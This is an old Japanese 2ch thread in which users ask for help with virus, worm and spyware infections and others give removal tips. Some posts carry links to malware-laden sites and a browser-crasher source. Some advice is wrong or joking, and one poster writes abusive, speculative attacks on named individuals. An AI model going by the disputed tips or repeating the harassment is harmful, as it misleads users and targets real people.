専用スレッドもあるみたいだし、＞475とあわせてそっちのログを読んでみては？
ttp://pc.2ch.net/test/read.cgi/sec/1064010406/

>>478
専用スレあったのですね。
ありがとうございます。行ってきます。

画面がHikaruみたいになって目が真っ黒な女の画像が表示されます。
ノートン先生で検索かけても見つからん。セーフモードでウィルス名
(hikaru、madoka)で検索かけても見つからん。どーすればいいですか？
怖くて画面が見れません！

全角英数はやめろ、見苦しい。

>>480
変なプログラム実行するからだ。

>>482
そうかも知れないです。今からリカバリします。

すいません。誰か助けてください。
ウィルススキャンすると、
C:\_RESTORER\TEMP
の中の二つのファイルが感染していますと出ます。

それの処理は
「アクセスが拒否されました」
でした。

ウィル名は
Win32/MTX.A.Wsock.worm
です。

これはどうすれば、駆除できるのでしょうか？
またこれによる悪影響もできれば教えていただければと思います。
申し訳ありませんがご助力お願い致します。

MTXか・・・かなり厄介な奴だからＡＶベンダーで専用の駆除ツールを落としたほうが早いと思う

レスありがとうございます。
いまグーグルで「ＡＶベンダー」で検索してきます。

すいません。ＡＶベンダーは何かの略なのでしょうか
検索しても出てきません（涙

>>487
アンチウイルス（AntiVirus）　ベンダー

>>484
シマンテックとかトレンドのことだよ。
http://www.symantec.com/region/jp/sarcj/index.html
http://www.trendmicro.co.jp/vinfo/

突然ＰＣが重くなったので、再起動したらデスクトップ上のアイコンがすべて消えてました。
スタートメニューも真っ白なんですが、、かなりの重さでプログラムも起動できません。
これってなんのウィルスなんでしょうか？

>>487
エロサイト見たら・・・助けてください！Part15
http://pc2.2ch.net/test/read.cgi/pcqa/1067657959/

ありがとうございます。そこで質問してみます。

>>460
はい、それはわかっているんですが…
ネットにつないでないPCではどうすればいいのでしょうか？
家のPCはつないでないので…

>>490

Redlofの可能性もあるかも。
Windows再インストールしてupdateしてください。
ちゃんとupdateしてたらRedlofには感染しません。

ただたんに　さいいんすこして　ねっとにつなぐのって　やばくないか？

やぶさまのおっしゃることですから　ぶ　ら　す　た　ぁ　なんてこわくもないでつよ

>>495-496
精神病院池
あんたらの被害妄想癖は明らかに異常

また逆切れか

どこが被害妄想なんだろうねぇ？？
Blaster知らないんだろうな（ｗ

いまどき、ただWindows再インストールして、ネット接続してupdate勧めるなんて
よっぽどおかしい
Blaster感染者を増やしたいとしか思えん
知識の無い人間がFWかましたりルーターかませたりしてネット接続するとは限らないとは思わないらしい

再びWyx.C(b)に感染。。。駆除後Ｗ２Ｋインスト成功。。。ＮＡ2003インスト
アップデート後、再び何故かＮＴＤＬＲでのブート切り替えが出て、Ｗ２ｋの下に
Windows2000Professional(#1)という選択肢が出てきた。。選ぶとブートローダーが壊れてる、と。
その後、起動画面に変な文字が出てきた。。ビデオカードのメモリがウィルスに感染している模様？
そのままSP4導入後、Fdisk/MBR＋MBM導入したら、Ｗ2000P起動不能。。。もうだめ。。。
HDDクリーンインストしますが、BIOSもジャンパ設定で初期化するつもりですが、
このようなウィルスは単なるFdiskやFormatで消えるのでしょうか。。。今からやります。。
と思ったら

>>497
後学の為なぜ被害妄想と言われたのかご説明頂きたく
宜しくお願い申し上げます。

今書き込んでるHDD２台目も感染した。。。BIOSの画面より先にウィルスの文字が出ている。。。
ハードディスクの初期化はこのようなブート感染型(暗号化の)ウィルスには単純な
ハードディスクのMBRとパーティション＋データ消去で大丈夫かなぁ。。
とりあえず今から１台目をクリｰンインストみます。。

ただ　ちゅうこくしただけなのに　あきれかえるほどの　きれぶりだな。

そういやぁ　いぜんも　ぶらすたーかんけいで　ちょんぼしてなかったか？

しゅうまつは　だんなは　ごぜんさまで　ひまなのか？　

>>503
2000とXPは、システムパーティションに署名を書き込むから、fdisk /mbrをやると
クリアされて起動しなくなるよ。やるのなら、回復コンソールを起動してからfixmbr。
これなら、署名の部分はクリアされない。
MBMが、MBRの後ろの方の空き領域も使っているの解らないのかな？
BIOSから起動される、ブートプログラムをきちんと上書きしているのに、ウイルスが消えないわけないでしょ！

起動のメカニズムをきちんと勉強して来い！
http://nobumasa-web.hp.infoseek.co.jp/index.html

>>503
そのブートメニューが出てくるということは、フォーマットしてからインストールしてないな。
それに、Meの入っているパーティションを非表示設定にもしていない。
いずれにしても、不勉強！

教えてください。
今日、MSNのメールに
差出人：Shay 件名：Re: burdened with your budgets
とゆうメールが届いてました。
開いてみると、いきなりPCが落ちて再起動・・・
とりあえずノートンでスキャンしてみましたが感染は見つかりませんでした。
OSはwindowsXPでノートンインターネットセキュリティを使ってます。
2回開いてみましたがやっぱり再起動してしまいます。
何なんでしょうか？
怖いです・・・

指摘サンクスです。勉強になります。
<505さん　２０００初めて使うので、fixmbrと9x系のfdisk /mbrを混同していたようです。
<506さん　インストール直後は選択画面はなかったのに、後から出てきたんですが。。
　　　　　パーティション非表示設定とはマスクではだめということでしょうか?
　　　　　ちなみにW2000Pを入れるのに成功したHDDはMeとは別のです。

どのみち、どのＨＤＤも付けない状態で、ＣＭＯＳクリア後に、ディスプレイ起動画面で
ウィルスが原因と思われる”ｆに似た水色文字が出力される”現象は直りませんでした。
これは何処に原因があるんでしょう。。。


　　　　　

symantecのオンラインスキャンをしたらLive２ｃｈのlogのdatが以下のウイルスに感染してました。
・Macro.src
・VBS.Network.E
・VBS.LoveLetter.A
・VBS.Internal
・VBS.LoveLetter.Var
ほっといても大丈夫ですか？

>>505
起動しなくなるなんて事は無いぞ

>509
>2

>>511
ｻﾝｸｽです。

TCP Monitor Plusというのを入れてみたところnetstatで

TCP 192.168.0.2: 4934 (自分のPC名) -> 192.168.0.1:49320 (192.168.0.1) ->TIME WAIT -> [System Process](0)
TCP 192.168.0.2: 4938 (自分のPC名) -> 192.168.0.1:49320 (192.168.0.1) ->TIME WAIT -> [System Process](0)
TCP 192.168.0.2: 4941 (自分のPC名) -> 192.168.0.1:49320 (192.168.0.1) ->CLOSE WAIT -> svchost.exe(968)

UDP 0.0.0.0: 445 (自分のPC名: microsoft-ds) -> System(4)
UDP 0.0.0.0: 500 (自分のPC名: isakmp) -> lsass.exe(760)
UDP 0.0.0.0: 1037 (自分のPC名: 1037) -> svchost.exe(1148)
UDP 0.0.0.0: 1311 (自分のPC名: 1311) -> svchost.exe(1148)
UDP 0.0.0.0: 2194 (自分のPC名: 2194) -> svchost.exe(1148)
UDP 0.0.0.0: 2207 (自分のPC名: 2207) -> svchost.exe(1148)
UDP 127.0.0.1: 123 (localhost: ntp) -> svchost.exe(968)
UDP 127.0.0.1: 1051 (localhost: 1051) -> svchost.exe(968)
UDP 127.0.0.1: 1900 (localhost: 1900) -> svchost.exe(1176)
UDP 127.0.0.1: 4882 (localhost: 4882) -> Abone.exe(3612)
UDP 192.168.0.2: 123 (自分のPC名: ntp) -> svchost.exe(968)
UDP 192.168.0.2: 137 (自分のPC名: netbios-ns) -> System(4)
UDP 192.168.0.2: 138 (自分のPC名: netbios-dgm) -> System(4)
UDP 192.168.0.2: 1900 (自分のPC名: 1900) -> svchost.exe(1176)

という感じのが出てきました
svchostというのがやたらと出てきてますが危険なところとかありますか？

すみませんスレ違いでした

いまのＨＤＤ全部捨てて、新しいのかってこいよ
Ｍｅなんかつかってんなよヴォケ

>>508
fdisk /mbrを実行して、2000やXPで起動不能になることはないようです。
実験して確かめてみました。どうもすみません。

この2ヶ月弱、勝手にデスクトップ上に「~」とタイトルされたショートカットが勝手に作成され存在します。
何度削除しても、インターネット接続すると勝手に作成されているようです。
関係ないとは思いますが始まった時期はちょうどヤフーＢＢ開設した頃とかぶります。
また同時期から接続状況が悪くなることがしばしば。
かなり重くなり動作環境悪くなったがノートン設定したせいかＢＢのせいかと思っていました。
これはウイルスでしょうか？他のものでしょうか？

<516様　私は９Ｘ系でマルチしていたので詳しいことは実際わかりません。
　　　　ただ以前から上記ホームページである程度読んでいたくらいです。
　　　　MBR内のどのあたりが2000等の署名の部分かはよくわかりませんが、
　　　　パーティションテーブルの前までをFdisk/MBRで戻すことは知って
　　　　いましたので、Fixmbrも同じだと勘違いしていました＾＾；

無事２台ともＷｉｎ２Ｋを『ＣＭＯＳクリア、未感染９ｘ起動ＦＤでパーテション操作、
再起動の度にノートンＣＤでウィルス確認(ＣＤブート)、ＯＳインストール』を入れました。
インストールの合間に一度だけ再びＥｅｋ（ｂ）を発見したので、依然感染していると
思います。Ｗ２Ｓの起動ＦＤとＣＤがインストールでうまく作動しないので感染は確実です。
起動画面のバグ文字”ｆ”も消えてないので、どこかにはまだいるはずなんですがーー；
ハードディスク内ではなく、他の所にいると思うんですがPC自作した経験等ないので無知。。

>>518
BIOSを破壊するウイルスも実際には、存在するが感染する確立は非常に低いと思われる。
インストールがうまく行かないのは、周辺機器で余分なものを繋いでいないか？
最小構成でインストールしてみること。
それでもダメなようなら、本当にBIOSがやられているのかもしれないが、その場合はメーカー修理になるでしょう。

>>518
メモリは異常ないのかな？
Meと違って2000は結構シビアだから、そのせいでインストールできない可能性もある。

<516様　Fdisk/mbrは2000のシグニチャをクリアするはずです。
　　　　実際NTも2kも使用したことが無いので知りませんが。。
　　　　何らかの形でシグニチャを上書きコピーできればいい筈ですね。
　　　　９ｘＯＳで上書きするにしてもまずFdisk/mbrコマンドする”前に”、
　　　　９ｘOsでダンプしてみて、2000シグニチャのメモを取り、Fdisk/Mbr後
　　　　に再度書き直すか、2000用起動ディスクがあればFixmbr(?)コマンドで
　　　　MBRを回復させればいいということです。私の場合、起動ディスクも
　　　　信用できない可能性があるので手動回復法も考慮すべきなんですが。

＜519様　ありがとうございます。ブート感染型にこの２つのプログラムは
　　　　分類されているようですが、Bios　ROMまで感染するなんて、、、
　　　　とは思っています。マザー買った事なくてよくわからないんですが、
　　　　このウィルスはPOSTのビデオカードの初期化段階で変な文字を画面に
　　　　出力していますので、できれば疑いたくないんですが。しかもBiosRomは
　　　　リフレッシュできるのかなぁ、なんて。(鬱)
＜518様　メモリ自体はメルコの新品と、もう一戸使ってるマザーも９ｘでは大丈夫
　　　　なんですが。。。　　

ちなみに話がそれますが、W2kインスト後にMBMをMBRに上書きしても問題なく、
MBMのプログラムはMBRプログラム部分を書き換えますが、２０００の署名は
書き換えません。しかし”Fdisk/mbrはWindows2000導入時で使うと”、通常は
起動ディスクによるFixmbr等の処置を施さないと、駄目かも知れません。
実験してないので知りませんが、MSの方でシグニチャに配慮してある場合は別です。
以上記述516の注意点まで。（＞http://www.tky.3web.ne.jp/~applause/mbm/　等）

>>517
http://homepage2.nifty.com/winfaq/c/oetrouble.html#1475

山崎へ
お前日本人じゃないだろ。ハーフだよな。ｎ＆ｈの。
ついでにゲイだろ。
何が面白くて日本をターゲットにしてるんだよ。
お前がウイルスを作る理由、ただ単にどっかの誰かさんに対する
ジェラシーと束縛じゃねーか。そんな馬鹿な理由で世界中のＰＣを
めちゃくちゃにして何が楽しいんだ。
ゲイやバイを否定するわけじゃない。恋愛なんて同性異性同じだから。
ただし、お前のようにゲイで、嫌がってる相手をいつまでも追いかけて
嫌われて、それをウイルスのメッセージに載せて何が楽しいって言うんだ。

恋愛なんてな、片方が嫌ったら終わりなんだよ。それでも追いかけたら
ただのストーカーだろーが。
Ｓの性格お前知ってるだろーが。
ただ、寂しいだけだよ。お前のことを本当に好きだったら、絶対に浮気しない
それが恋愛じゃないのか？
遊びなら浮気はわかる。
でも、あいつ遊びじゃなかった。携帯の留守電も消してなかった。
7/8のウイルスはお前が彼とマカオに一緒にいっただろーが。
言いたい事もいえない訳？
幾つだよお前。

いちいちな、そんな下らない事でウイルス作るのやめろ。
お前は俺が誰だかしってるよな。電話でも話ししたくらいだしな。

ttp://www.geocities.co.jp/SiliconValley-Bay/8528/sorce/burakura-sorce.txt
を踏んでしまったのですが、こうやって2chが見れてるということは大丈夫でしょうか？

Sへ
どうやら、メッセージが消えたようだ。

山崎が好きなら好きでComing　Outしろ。いいかげん。
お前ら二人、好きなら好き。嫌いなら分かれる。
遊びだって分かってる浮気位許せ。相手が本気の相手を見つけたんだったら
お前がわるい。それだけ、うざいってこと。
その位バカでもわかる。

日本人のバカはフォロアー
Bへ
お前、来年就職だろ。人生こんな事で棒にふるなよ。一応国立いってんだろ。
ざ○が呆れてました

国○へ
うざい、４０過ぎてストーカーしてるんじゃねーよ。
金が無いから隣の家から電話線引っ張ってる時点で犯罪者なんだよ。
そんな事しながらネットしてる奴、中学生でも相手にしない。
さっさと北海道帰れ！！！！！！
気持ち悪い

Ｅメールはかれこれ３年程利用していますが
ダイレクトメール（？）から初めてウィルスが検出されますた！！
今まで本当にこういうの来てなかったんで
なんかねぇ、ちょっとうれしいような

で、質問なんですが・・・
W32.Klez.H@mm
ウィルス名:
W32.Klez.H@mm
性質:
ワイルド

A special nice gameってのが来て、その２日後
A nice gameってのが来ました

これってどんなウィルスなんですか？
有名な奴でつか？

あのさ、検出名出てるなら各種アンチウイルスメーカーなりぐぐるなりすれば出るよ。
KLEZは大流行してた。

>>517
よくあるFAQらしい。
http://winfaq.jp/　で検索どうぞ。
デスクトップに ~ というファイルが作成されます

>>529
>>523

マスターブートレコードの上書きは、

　　　　　fdisk /MBR

じゃないのか？　マイクロソフトのOS
でも大文字・小文字の区別はあるぞ。

…って釣られたのか？

http://www.st.ryukoku.ac.jp/~kjm/security/memo/

http://www.microsoft.com/japan/technet/security/bulletin/MS03-048.asp
http://www.st.ryukoku.ac.jp/%7Ekjm/security/memo/2003/11.html#20031128_IE

http://www.st.ryukoku.ac.jp/~kjm/security/ml-archive/bugtraq/2003.11/msg00333.html
http://www.st.ryukoku.ac.jp/~kjm/security/ml-archive/bugtraq/2003.11/msg00334.html
NAI VirusScan　JS/Exploit-WhoFramed
http://www.st.ryukoku.ac.jp/~kjm/security/ml-archive/bugtraq/2003.11/msg00323.html
http://www.st.ryukoku.ac.jp/~kjm/security/ml-archive/bugtraq/2003.11/msg00332.html
http://www.st.ryukoku.ac.jp/~kjm/security/ml-archive/bugtraq/2003.11/msg00329.html
NAI VirusScan　JS/Exploit-FileProxy
http://www.st.ryukoku.ac.jp/~kjm/security/ml-archive/bugtraq/2003.11/msg00324.html

ファイルを分析しました。送られたそれぞれのファイルについてわかったことを
以下に報告します。
ファイル名: MhtRedirLaunchInetExe-Demo.zip
ファイル名: mhtml_file_for_codebase_automated.htm
デベロッパーノート

MhtRedirLaunchInetExe-Demo.zip is a self-extracting zip file that contains a clean file.
mhtml_file_for_codebase_automated.htm This file is proof-of-concept for an exploit.
It is not viral but we suggest to delete it.
This file is contained by MhtRedirLaunchInetExe-Demo.zip.

（Ｃ）2003 シマンテック・セキュリティ・レスポンス
（Ｐ）2003 シマンテック・セキュリティ・レスポンス

↑なんだこのコピペ荒らしは。

今晩は。友人から私のアドレスでウィルスが来たと言われました。
ＯＳはＸＰです。

virusname: [email protected]

これはどういったウィルスですか？またアドレス帳のメアドを
全て削除した方がよいのでしょうか？レベルが低く申し訳ありませんが、
商売をしているので問題は深刻です。返答お待ちしています。

205 ：名無しさん＠お腹いっぱい。 ：03/09/28 23:20

ちなみにノートンの活動ログからウィルスは
「[email protected]」みたいです
これで調べて見ましたが自分と同じような症状が書かれていませんでした・・・

206 ：薮パソユーザー ◆0fQkHdNop2 ：03/09/28 23:26
>>205

私はさっきそれを削除しましたが今のところ問題ありませんけど。

207 ：205 ：03/09/28 23:31
＞206
そうなると削除が原因じゃないって事ですかね・・・？
今日の2通は怖くて削除していません・・・

208 ：薮パソユーザー ◆0fQkHdNop2 ：03/09/28 23:32
>>205

削除が気持ち悪いなら、プロバイダーのサーバー上でnPOPというメール
ソフトで削除すれば良いです。フリーソフトです。
http://www.vector.co.jp/soft/win95/net/se104061.html

>>535
最近のウイルスはメールアドレスを騙るので、その友人があまり詳しくないなら
ウイルスに騙されてるかも。
アンチウイルス入れて、定義ファイルを最新に保っていれば問題無い。

商売やっててこれを怠っているなら自業自得とあきらめて、今日はPCの電源切って、
朝一でバスターかノートン買ってきて入れるべし。

>>536
薮パソユーザは嘘ばっかりついてるので、奴の発言は信用しないように。

>535
ttp://www.symantec.com/region/jp/sarcj/data/w/[email protected]

メールの差出人を詐称する可能性あり。
あなたもオンラインスキャンをするなり、セキュリティソフトを入れるなりして、
自分のパソコンが感染してるか確認しなさい。

アンチNOD厨嫌い ◆Tcp44q2AKA
が出現したら、ここに誘導してください。
NOD32隔離専門板　Part1
http://pc.2ch.net/test/read.cgi/sec/1070200779/

>>536
ってゆうか藪感染したのかよ！！！！！！！！

詳細: 侵入: Invalid Source IP Address
侵入者: 0.64.91.193
危険度: 低危険度
送信元 IP アドレス: 0.64.91.193。この IP アドレスは無効です。
送信先 IP アドレス: 224.0.0.2
プロトコル: IGMP.

アドレスをクリックすると攻撃者を追跡できます
この攻撃についての詳しい情報は シマンテックセキュリティレスポンスで入手できます
egion/jp/sa

ttp://housecall.antivirus.com/housecall/start_jp.asp

で検索したところWORM_ANTINNY.Aに感染したものが６つあるらしいのですが
その場所には何もなく、対処の
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows \CurrentVersion\Run
に
ara-key= ＜ワームのファイルの場所＞ -StartUp
もなく、すでにWinny自体ありません。

この感染したものを探しても見つからないのですが、どうやって削除すれば
いいんでしょうか？

>>543
警察にny使ってますと連絡する
すぐに対応してくれる・・・・・・・かもね！

>>543ですが解決しました、無視してください

>>543　お答えします！
アプリが調子悪くなると、一度アンインしてインスコしなおします。
これと同じやりかたをしましょう。
もう一度ANTINNYに感染し、AVソフト等を使い、手順1から頑張って削除
してください！　　マジレスごめんみんな。

>>543
ばかやろ〜〜〜〜！
誰かがオチ書く前に解決すんなよ〜〜〜！

ブラクラを踏んでしまいそれがウィルスがあるものだと
オカ板勇気が無く見れない画像スレでわかったのですがウィルスの場所はどこに
あるんでしょうか。
踏んでしまったURLとそのブラクラの内容について
オカ板の方に教えていただいたのでコピペしておきます。

//ｗｗｗ2.strangeworld.org/uedakana/sahra****.***
(****は番号違い、拡張子違いなど：ブラクラ＆ウイルス：HTML_SUAR.)

すいません　まず検索してみます。
PC初めてなのであたふたしちゃいました。

REDLOF.Aに感染してしまい、駆除はしたんですが、
ファイルのweb表示が出来なくなってしまいました。

再セットアプ以外に何かリカバリーする方法はありますか？
駆除方法は、レジストリから該当.dllの値を削除しました。
無知な為、これが悪かったのだろうか･･･････。

>>550
OSも、IEのバージョンも何もわからんので、なんとも言い難いが、
IEの修復、は、使えない？

すんません。
OS98
IE6.02
です。
IEの修復って９８でできるんですか？
お願いします

(ﾟдﾟ)

>>552
ttp://higaitaisaku.web.infoseek.co.jp/iesyuufuku.html

ここみて、修復か、再インストを試してみる？
んで、IEが、shell関係の壊れたレジストリを勝手に治してくれるのを期待するか。
（自分ならそうする。自信ないけど(w　　　　でも、OS再インスコよりはいいっしょ。）

>>552
その前に、scanreg　/fix 試してみるか？
つか、もしかウィルスにやられたのがここ数日なら、scanreg /restore もいいかも。

>>554
再三のｱﾄﾞｳﾞｧｲｽありがとです！
やられたのは、最近なので、>555の方法で無理なら>554に挑戦したいと
思うんですが、正直、不勉強のために>555の意味がわかりません････。
よかったら、もう少し詳しくお願いできますか？

>>556
scanreg も知らずにレジストリいぢったのか‥‥(;´Д｀)

http://homepage2.nifty.com/winfaq/c/hints.html#77

とりあえずこれやってみるﾖﾛｼ。
バックアップの日付は、ウィルスにやられる前で直近のを選んでね。

>>557
ありがとございます！！
ウィルス退治に必死で、素人のクセにレジストリを削除するしかないと
清水の舞台から飛び降りる気持ちでやってしまいました。。。･ﾟ･(ﾉД`)･ﾟ･｡
最悪、画像のプレビューが見れないぐらいは大した事ないので諦めます。
名無しの私に丁寧にお付き合い戴き、本当にありがとうございます！

>>552
IEの修復は簡単に出来る。コンパネから「アプリケーションの追加と削除」を選び
IE6を選択し、「追加と削除」をクリックすると、
・Internet Explorer を修復する
・以前のWindowsの構成に戻す
というのが出てくる。

修復でだめなら、以前の構成に戻し、あらためてIEの最新バージョンをインストール
すればいいと思う。それでもダメならリカバリーだな。
一度もリカバリーしたことがなければ、この際やってみるのも一つの選択。

>>559
レスが遅くなりましたが、ありがとうございます！！
すぐにでも試してみます！！

ＰＣ素人なので、普段この板には来ないんですが、ここの人たちの優しさに感激です！！
殺伐としたDjクラブ板とは大違いだ･･････。

IEを起動するとウィンドウが大量にというか無限に開いてフリーズしまいます。
キャッシュをすべて削除してみましたが直りません。
Javaを切れば大丈夫なんですが、それだと困るんで元を直したいです。

>>561
ウィルス駆除ソフト、スパイウェア駆除ソフトは試したのか？

>>562
レスありがとう御座います。
やっぱりそういうのに頼らないと無理でしょうか？
金が無いんでできれば・・・
ノートンとか買うにしても今すぐは無理なので。
お試し版系は全部つかっちゃったし・・・

>>563
なんかブラクラくさいので再起動すれば直りそうな気もするが
とりあえず暫定対策は>2を読む。

恒久対策として
スパイウェア駆除はAD-aware、Spybotという有名どころはフリーソフト。
アンチウィルスソフトもAVG、avast、eTrustなどの優秀なフリーソフトが
ある。この板にそれぞれ専門スレがあるのでそこのテンプレでも読んで
導入検討。

>>364
詳しいアドバイスありがとう御座います。
ではそれで頑張ってみます。
ちなみに再起動ではダメでした。

┏━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
┃364　■ 名無しさん＠お腹いっぱい。 ■ ■03/11/18 17:04■
┗━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

馬鹿age

今PestScanというのやったら7６こほど見つかったんですけど、
まとめてあぽーんするにはどしたらいいでつか？

>>567
>>564

virtual bouncerに感染したみたいです。
ググってフリーの駆除ソフトを見つけ、(英語で）「駆除に成功しました」
と出たんですが、再起動するとまた発動します。
どうすれば完全に駆除できますか？
蛇足かもしれませんが、症状を書いておきます。
症状：広告がでまくり、やたらと重くなる。

>>569
セーフモードでもう一度駆除してみては？

ttp://www.geocities.co.jp/SiliconValley-Sunnyvale/7323/index.html
VAIO　LXシリーズの増設解説サイトでよく訪問していたんですが
トロイのウイルス反応があるようになりました。
ノートンでは駆除、検疫はできなかったようで
OLEが多重起動するんですがそれ以外の実害はないでしょうか？

>570
セーフモードでやってみましたが、無理でした。
トレンドマイクロのオンラインスキャンを使用したところ、
Adware.Portalscanと言うものにも感染していました。
やはりググって調べたんですが、駆除がうまく行かないです・・・。
このAdware.Portalscanはスパイウェアと言う奴ですかね？
一応スパイウェア専用ソフトはダウンロードして試したんですが・・・。
初期化しようかと思っています。

>>568
反応が出るファイル名や内容がわからないとなんとも言えないが、
ノートンかけてるのにしつこく戻ってくるというのはソースコードに
誤反応してる可能性もある。

ノートンがvbsウィルスのソースに誤反応２
http://pc2.2ch.net/test/read.cgi/pcqa/1033948204/581
など参考にしれ。

>>569
だいぶ焦ってるようだがｗ、スタート→ファイル名を指定して実行→regedit(OK)
レジストリエディタで
HKEY_LOCAL_MACHINE/Software/Microsoft/
Windows/CurrentVersion/Run　を開き、この↓キーを削除
"slmss" = "C:\Program Files\Common Files\slmss.exe"
再起動してslmss.exeを検索、見つけたらゴミ箱へﾎﾟｲ。
(ﾟдﾟ)ｳﾏｰとなるはず

tb_setup.exeが勝手にネットに接続しようとします。
いろいろ検索した結果スパイウェアのようですが削除
するだけで大丈夫でしょうか？

>574
ありがとうございます。教えられたとおりに最後まで実行してみました。
しかし、それでも発動します。
起動した直後にprogram filesを見てたら、STCと言うフォルダが勝手に出現しました。
中身を見るとslmssが入っておりました。
これが原因だと思うんですが、このSTCを恒久的に削除するにはどうすれば良いでしょうか？

W32.Whiter.Trojanにやられました…。
即効発病したのですぐに止めましたが、マイドキュメントの中身を全部やられました…。

そこで質問なのですが、マイミュージックとマイピクチャのフォルダを復活させるにはどうすればよいのでしょうか。
専用のアイコンのフォルダに戻したいのですが…無理でしょうか。

あと、どのフォルダまでやられてるか確認方法などはないでしょうか。

WinXP Homeです。よろしくお願いいたします。

すいません。復活の方法わかりました。
ちゃんと検索しないですいませんでした。

>>569
自分なら、次は、その問題の"STC"なり、"slmss"でレジストリを検索して、怪しいキィを探す。で、そこからまた考える。
ま、これが正解という自信は、　ぜ　ん　ぜ　ん　　ないが。

Autoexec.bat　System.ini　Win.ini を見るのもいいかもしれん。

つーか、自分のOSぐらい書いとけ。
ＵＩ辺りの使い勝手は似てても、いざ事件が起きたときの細かい手順となれば、９ｘ系とNT系で違ってくるんだから。

すいませんが、ネットする場合に、クッキーやインターネットの一時ファイルが
まったく保存されません。
何でしょう？これはウイルスなのでしょうか？
あるサイトに行ってから、こういう症状が出るようになって、
毎回、そのサイトに、インタネットオプションで最初に行くように設定されます。
program filesにそれらしきものはありません。

OS　ＸＰ
IE　6.02

>>577
ウィールスなのでしょうかと思ったらスキャンしれ。アンチスパイ（Spybot Ad-awareなど）
の導入も勧める。その結果疑問があればまた質問しる。

どうすれば、治るのでしょうか？
クッキーが保存されない、消去されるのは非常にウザイです。
スパイボットでスキャンしてみたところ、
色々感染していたみたいで、特定できません。

それらしいのは、HitsLinkという奴でしょうか？

連投すいません（汗
あとは、それらしいのはAlexa Relatedでしょうか。

某研究者、コテハン諦めたようだｗ

ウィルスかなIE6のツールのインターネットオプションが開きません＞

ウイルスに感染したっぽく、ウインドウを開いたり何かファイルを動作させたりする度に
1MBくらいの異様な勢いでどんどんHD容量が増えていくという症状が起きたのですが、
ウイルスバスターやオンラインスキャンで検索するもウイルスは見つからず
システム復元などを試してみたらとりあえずその症状は治ったみたいなんですけど
砂時計アイコンが頻繁に出たりと違和感が・・・
原因が知りたいのですが検索やウイルス対策系のページを見てもいまひとつ解らなくて
困っています・・・

OSはME、ブラウザはIE5.5です

>>587
ウィルス対策ソフトを購入してきてインストールしなさい
さもないとウィルスを撒き散らす加害者だよ君は

ウイルスバスターを入れているのですが・・・
もっと他のソフトのほうがよいんでしょうか？

きちんと定義ファイルを更新しているのでしょうか？

WindowsUpdate、ウイルスバスターの定義ファイル更新は行っています
しかしそれでも発見できないので、
もし症状からどういったタイプであるとか思い当たるものがあれば教えて頂きたいのです・・・

>>587
じゃあウィルスではなくて他の原因では？
HDD容量が減るのではなくて増えるって空き容量が減るって事だよね？
それとも何かのファイルが消されて容量が増えてるかもしれないって事？

>>580

ウィルスかなと思うならウィルスチェックしてください。

不具合はシステムの復元で直し、直ったのを確認してから一旦システム復元
を無効にし（復元ポイントにウィルスが含めれてる可能性があるから）、
その後再度復元機能を有効にしてWindowsやセキュリティーソフトを
updateし直してください。

>>587

ウィルスでないなら、HDDの空き容量不足かも？
HDDの空き容量不足になるとスワップしづらくなって不具合が起きる
場合もあります。

>>593
ｺﾋﾟﾍﾟ　ｳｻﾞ

最近、平和だったのに何で出て来るんだ？
だから、だんなに嫌われるんだよ！

http://orange.only18plus.com/umax.htm
というサイトに行ってから、勝手に
リンクは作られてるし、クッキーが
明日とかに起動すると、昨日やったのが消えてます。
どういう症状なのでしょうか？
>>593
保存している画像や動画は消えないのでしょうか？

CoolWWWSearchではないかと、思います。

>>597
予想がついてるのであれば対応できるんじゃないの？

藪パソユーザー ◆0fQkHdNop2は粘着ｱﾗｼですのでご注意ください。

なんにでもアンチドート、復元ポイント実行、ネットラナー熟読を勧めます。
それで見当がつかないときは適当な嘘をいい、嘘がばれると、指摘者を
罵倒します。

　http://pc.2ch.net/test/read.cgi/sec/1068471471/110
　名前：薮パソユーザー ◆0fQkHdNop2 [] 投稿日：03/11/12 11:43
　> 本当にしつこい馬鹿がいますね。

藪パソのアフォデマレスには十分ご注意ください。

>>581
ウイルスは全部消えてたみたいです。

その代わりboot.iniが消えていました…。
このウイルスでどこまで消えているか確認は出来ないのでしょうか…。

>>598
違いました。
それらしいのをスパイボットで全て対処しました。
オンラインウイルス検索
http://housecall.antivirus.com/housecall/start_jp.asp
でも検索したが、見つかりませんでした。

こういう症状のウイルスはどういうものでしょう？
直す方法はシステムの復元しかないのでしょうか？

「JAVA_BYTVERIFY.A」というウイルスらしいというのが分かりました。
是非、対処法を教えてください。今現在、感染中です。

>>587
関係ないけど
1Mずつの増加によく気がついたね

>>602
http://www.trendmicro.co.jp/vinfo/virusencyclo/default5.asp?VName=JAVA_BYTVERIFY.A
ウィルスに感染したPCでネットに接続しているとしたら神経を疑う
君、加害者だよ

見たことも無い相手からメールが来ました・・。
ウィルスメールでしょうか？
送信者Joshua 件名Subject 1

なんかすごいぁゃしぃこゃしぃ
誰か似たようなのが来た人はおられませんか？

>>605
スパム(広告等)か何かじゃないですか？

知らない相手からのメールなんてウイルスだろうとでなかろうと削除で問題無し
外国人からならなおさら

>>604
だから、どうすればいいんだって。

ウイルスを駆除すればいいんじゃない？

どうやって駆除するか分からないのか？
ウィルス駆除ソフト買って来い

さっき、いつも覗いてるサイトのトップページを開いたら、いきなり
ウイルスバスターが作動して「ウイルスを隔離しました」というメッセージが
表示されました。
これってそのサイトが感染してるってことなんでしょうか？　その人にその事を
伝えた方がいいのかな・・・。

ちなみに、VBS_REDL という感じの名前でした。

>>611
正しいウィルス名か、サイトのURLでもわからんと、なんとも言えん。誤検出の可能性だってあるだろうし。

>>611
http://www.trendmicro.co.jp/vinfo/virusencyclo/default2.asp?m=q&virus=redlof&alt=redlof

このうちのどれかだろうけど、まあよく聞くVBS_REDLOF.Aだろうな。

その感染したページのソースを見ると、HTMLの最後のあたりに
意味不明な文字（コード）が大量についてるはず。それがウイルス。

Windows UpdateでIEのセキュリティパッチもあててなくて、更に
ウイルス対策製品も持ってないんだろうな＞そのサイトの運営者

ここんとこport 99を何回か叩かれてるんですが、
新手のウィルスかなんかですかね？

最近PCを立ち上げるたびに
「C:\winnt\system32\･･･\hiddenrun.exeが見つかりませんでした」
というエラーアラートが出るようになったんです。
で、気になって調べたら
レジストリの
HKEY_LOCAL_MACHINE\Software\Microsoft \Windows\CurrentVersion\Run に

Application=C:\winnt\system32\rmtcfg\files\hiddenrun.exe mdll.exe
